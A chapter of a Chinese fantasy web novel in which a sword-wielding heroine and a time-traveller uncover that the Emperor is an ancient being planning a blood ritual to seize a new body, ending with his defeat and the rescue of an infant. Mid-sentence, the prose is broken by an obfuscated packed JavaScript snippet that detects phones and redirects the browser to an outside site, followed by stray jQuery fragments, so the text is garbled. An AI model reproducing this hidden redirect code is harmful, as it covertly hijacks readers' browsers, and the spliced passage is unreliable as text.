27. 第 27 章
作品:《被迫和话痨男密探假成亲》 庙内烛火摇曳,映得“皇上”那张脸忽明忽暗。
季临的腿肚子直打颤,手里的水囊“啪嗒”掉在地上。
“皇、皇……”他舌头打结,手抖得不行,“侯爷!这家伙怎么长得跟皇上一模一样?!皇上不是在京城吗?”
沈完令的红缨枪纹丝不动地指着对方,一言不发。
玄甲军众人也几乎惊掉了下巴。
对方微微一笑,脸上的皱纹舒展开来,声音很是平静:“沈爱卿,别来无恙。”
季临倒吸一口凉气,这腔调,这语气,活脱脱就是皇上本人!除了对方是光头和穿着僧袍。要是放在宫里,完全无法分辨好吗?
这是在玩真假美猴王的游戏吗?
沈完令还是一言不发。
“您……您真的是皇上?”季临结结巴巴地问,“怎么剃度了?体验生活?”
皇上轻笑一声,突然伸手撕下脸皮,底下是张更苍老的面容,赫然是宝光寺住持了尘的模样!
“卧槽!”季临往后一跳,“这特么是川剧变脸吗?!”
沈完令的枪尖又往前送了半寸:“臣真是看走眼了。”
老和尚慢条斯理地整理着僧袍:“肉身皮囊,不过外相。沈爱卿征战沙场多年,还在乎这个?”
季临下巴真的要掉了,这家伙真的是皇上?貌似还是了尘?老天爷啊,这都是什么抓马剧情?!史料根本没有记载好吗?大乐这一朝到底发生了什么?
李木把刀一横,声音有点颤抖:“皇上,您为何要如此?”
既是皇上又是了尘笑而不答,突然拍了拍手。祭坛后的阴影里走出两个人,一个是已经死得不能再死得了凡,另一个竟是太子!
季临的下巴彻底掉在了地上:“太、太子不是被时空裂缝吞了吗?!”
太子面色惨白,眼神呆滞,脖颈后隐约有青斑。他机械地走到老和尚身旁,像个提线木偶。
沈完令眸光一冷:“影子,复制品。”
老和尚满意地点头:“不愧是观测者。”
他转向季临:“因果者,你手里的玉佩该物归原主了。”
季临下意识捂住胸口:“什么原主?这是云娘子留给我的!”
“哈哈!”老和尚突然大笑,“她不过是个叛徒!”
他一挥手,祭坛上的仪器“嗡”地启动,蓝光中浮现出模糊的影像,云娘子被铁链锁在石壁上,奄奄一息。
所有的人都心下一紧,沈完令握枪的手又紧了几分。
季临瞪大眼睛:“云娘子还活着?!”
沈完令的指节发白:“放了她。”
皇上摇头:“晚了。当年她发现我的计划,偷偷动了手脚,害得我的实验品穿越失败。”
他爱怜地抚摸着太子的头:“好在,试验品还有另一份。”
季临的脑子终于转过弯来:“所以……您……皇上……太子和了凡都是您的棋子?那些影子也是您搞出来的?”
皇上,或者说是了尘,抑或是什么更古老的家伙,赞赏地点头:“聪明。朕苦寻长生多年,终于参透与其求丹药,不如换个年轻皮囊。”
他贪婪地盯着季临:“比如你这具。”
季临浑身汗毛倒竖:“您这是……想玩夺舍?!”
皇上微笑:“西域话叫‘穿越’,对吧?”
季临:“……”这老狐狸懂得还挺多!他是不是成功穿越过了?
沈完令突然道:“军械案是幌子。太子是想自救。”
“不错。”皇上拍了拍太子的肩,“这孩子以为朕要杀了他,想把事情昭告天下,以求生路,却不知朕是在找云护法藏起来的‘钥匙’。朕没想那么快杀他。”
他看向季临:“朕还是要多谢你,多亏你集齐了玉佩。”
季临这才明白,自己一路捡玉佩根本是皇上设的局!他气得牙痒痒:“所以灯会爆炸、漕帮灭门、皇宫影子……全是为了一步步地把我们引到这儿?”
皇上颔首:“观测者与因果者缺一不可。沈将军能看破虚妄,你能串联因果,只有你们合力,才能启动这台‘归途’。”
沈完令声音完全冷了下来:“你到底是谁?”
皇上微微一笑:“朕就是朕,沈爱卿只要知道整个大乐都是朕的就行了。”
沈完令一字一句:“如此苦心谋划,只为一己私利,罔顾天下百姓,何敢自称‘朕’?与妖孽做派有何区别?”
“对!没错!侯爷说得对!”季临几乎举起双手支持。
而玄甲军等人,已经彻底站在了皇上的对立面,抽出武器直指对方。
皇上微笑着:“你们莫非是想当乱臣贼子?如若你们好好配合,朕保你们子孙永享荣华富贵。”
季临小声嘀咕:“这饼画得真假……”
沈完令突然动了。红缨枪如银龙出海,直刺皇上咽喉!皇上不躲不闪,枪尖在距他三寸处骤然停住,像是撞上了无形屏障。
“没用的。”皇上轻笑,“在这里,朕即是天道。”
他抬手一挥,沈完令突然闷哼一声,单膝跪地,嘴角溢出一丝鲜血。
季临急得扑过去:“侯爷!”
玄甲军众人刀剑齐向皇上,但也像是撞上了无形的屏障,纷纷向后弹起侯落地,一个个地捂着胸口,鲜血从口中喷出。
皇上向前迈了一步,伸出手,目标正是沈完令和季临。
小玄不知从哪窜出来,炸毛挡在两人身前,“喵”地一声厉叫。
皇上停了下来,饶有兴趣地看着它:“差点忘了,还有你这小东西。云娘子的灵宠,倒是忠心。”
季临扶起沈完令,脑子转得飞快:“侯爷,这老妖怪开了无敌挂,咱们怎么办?”
沈完令擦了擦嘴角的血:“等。”
“等什么?等死吗?”季临急得思维彻底发散,“要不我背段《金刚经》?或许能驱魔?”
沈完令:“……”
皇上饶有兴致地看着二人,像是看着蚂蚁。不知怎么的,他忽然转身,暂时放过了沈完令和季临。他走向祭坛,示意了凡和太子躺上去。
两人如同傀儡般照做,很快被机器固定住。
皇上从袖中取出个小瓶,将里面的液体倒在仪器中央,赫然是血!
“玉门关三万驻军和百姓,西北大营两万精兵。”皇上温柔地说,“他们的血,很快就会填满这里的每一道符文。”
季临听着胃里一阵翻腾:“您要血祭?!”
皇上微笑:“放心,你们不会感觉到痛苦的。等朕成功了,一切都会重来,除了朕的记忆。”
季临握紧了沈完令的手,用身体将她挡住:“你这么做!有违天道!不怕被雷劈吗?”
皇上微笑着:“朕说了,朕就是天……”
他话未说完,庙外突然传来震耳欲聋的爆炸声!整座庙宇剧烈摇晃,瓦砾簌簌落下。
“怎么回事?!”皇上脸色骤变。
季临忽然乐了:“哟,您这‘天道’也不管用啊?不要越级碰瓷好不好?!人家天道根本不搭理你好不好?”
这时,一个灰衣人头土脸地冲进来:“皇上!玄甲军旧部把周围炸了!”
而布置在外面的玄甲军众人举着火把冲了进来,领头正是瘸腿的任回!
皇上暴怒,一掌击出,任回如断线风筝般飞出去,重重撞在墙上。季临刚要去看,地面突然裂开,他和沈完令齐齐掉进深渊!
“侯爷!!!”
下坠的过程中,沈完令一把抱住季临,同时把红缨枪插入岩壁,擦出一串火花,减缓了落势。两人最终摔在一堆软绵绵的东西上。
季临摸了一把:“啥玩意儿这么软?……卧槽!是尸体!”
沈完令点燃火折子,一副骇人的景象出现在他们面前。他们正坐在尸山上,四周堆满了干尸,全部身着盔甲,脖颈后有青斑。而盔甲制式,正是西北大营特有的。
“西北大营的人……”季临声音发颤,“皇上把他们杀了?!”
沈完令检查了几具尸体:“血被抽干了。”
季临突然发现尸堆中有个熟悉的身影:“马将军?!”正是西北大营的统帅马培。
马培奄奄一息,手里紧攥着半块青铜物件。见他们来,他艰难地抬起手,指向尸山深处:“沈侯爷……云……娘子……钥匙……”
沈完令接过物件,突然脸色一变:“这是红缨枪的枪头!”
季临仔细一看,果然是个缩小版的枪头,上面刻着“S
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013824|176007||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
W”字样。他感觉脑子里好像闪过了什么:“侯爷!这不会是……”
他话没说完,“轰隆”一声!
头顶传来巨响,皇上的声音大如雷霆:“沈完令!季临!你们以为能逃掉?没有观测者和因果者,仪式照样进行!”
地面突然渗出鲜血,迅速漫过尸山。血水触及青铜枪头,竟发出“滋滋”声,枪头渐渐泛出红光。
季临急中生智:“侯爷!咱用这个戳他!”
沈完令摇头:“不够。”
她突然看向季临:“你的玉佩。”
季临赶紧掏出七块玉佩。沈完令将它们拼在枪头周围,严丝合缝,原来玉佩本就是枪头的一部分!
枪头红光大盛,沈完令的手被灼得“滋滋”作响,她却面不改色。
季临急得去抢:“侯爷!烫!快松手!”
沈完令躲开他的手:“因果者不能碰。”
季临鼻子一酸:“可您会受伤!”
沈完令看着他,突然道:“季临。”
“啊?”
“若我回不来。”她顿了顿,“把红缨枪熔了。”
季临眼泪“唰”地下来了:“您说什么胡话!咱们一起上去干他丫的!”
沈完令嘴角微勾:“好。”
她突然一□□向尸山深处,枪风卷起血浪,露出个被铁链锁住的人影,是云娘子!她浑身是伤,怀里却紧紧抱着个青铜猫。但诡异的是,青铜猫好像在动!
季临看傻了:“这……活的青铜猫?”
云娘子虚弱地抬头:“猫里……是孩子……是先帝的……后嗣。”
季临:“!!!”怎么又扯到了先帝??而且孩子怎么在青铜猫里?先帝生的是妖怪吗?
沈完令却毫不惊讶,斩断铁链:“钥匙。”
云娘子怀里取出另外半个物件,竟是红缨枪缺失的枪纂!上面刻满梵文,正微微发烫。
“观测者……因果者……”云娘子咳嗽着,“终于齐了。”
皇上突然出现在血池上方,面目狰狞:“叛徒!把枪纂交出来!”
沈完令迅速组装好红缨枪,枪纂与枪头严丝合缝,整杆枪顿时金光大盛。
皇上惊恐地后退:“不可能!沈巍明明毁了它!”
云娘子冷笑:“他毁的是假货。”
她看向沈完令:“去吧,你才是真正的‘归途’。”
季临一脸懵:“啥意思?”
沈完令突然拽过他,在他额头轻轻一吻:“等我。”
季临还没从这记直球中回过神,沈完令已纵身跃向皇上。只见红缨枪金光大盛,符文流转,如流星般耀眼,划破了整片黑暗。
皇上仓皇招来假皇上和太子挡在身前,却被一枪贯穿三人!
“不!!”皇上惨叫,“朕是天子!朕……”
枪尖的梵文如活物般缠上他,将他寸寸撕裂。整个地宫开始崩塌,血池沸腾。
云娘子把怀里的大青铜猫塞给季临:“走!带着孩子从西侧暗道出去!”
季临急得跳脚:“侯爷还在上面!还有你们呢?”
云娘子摇头:“她是观测者,必须留下稳定通道。”
她突然掏出一块怀表塞给季临:“若她回不来……按这个。而我们,早就已经出不去了……”
季临还想说什么,一块巨石砸下,云娘子奋力推开他,自己被埋在了下面。季临抱着孩子,哭喊着被赶来的福伯拖进暗道。
不知跑了多久,他们终于冲出地面。身后破庙还有沙山轰然坍塌,烟尘冲天而起。黄沙盘旋着下泄,整个深渊瞬间被填满。
季临瘫坐在地,怀里的大青铜猫突然“哇”地哭了起来。
福伯赶紧接了过来,将青铜慢慢地拨开,一个哭得手脚抽动的婴儿出现在了他们面前。
季临目瞪口呆,但下一秒悲从中来,他抓住福伯的胳膊,声音哽咽:“福伯……侯爷……侯爷……她……”
福伯望着眼前的废墟,喉头发紧:“侯爷……”
整片荒漠静得吓人,除了时不时“哇哇”的婴儿声,还有就是呼啸而过的风声。
整片大地一片死寂,血腥味顺风而来。
季临抓紧了怀里的那一只怀表。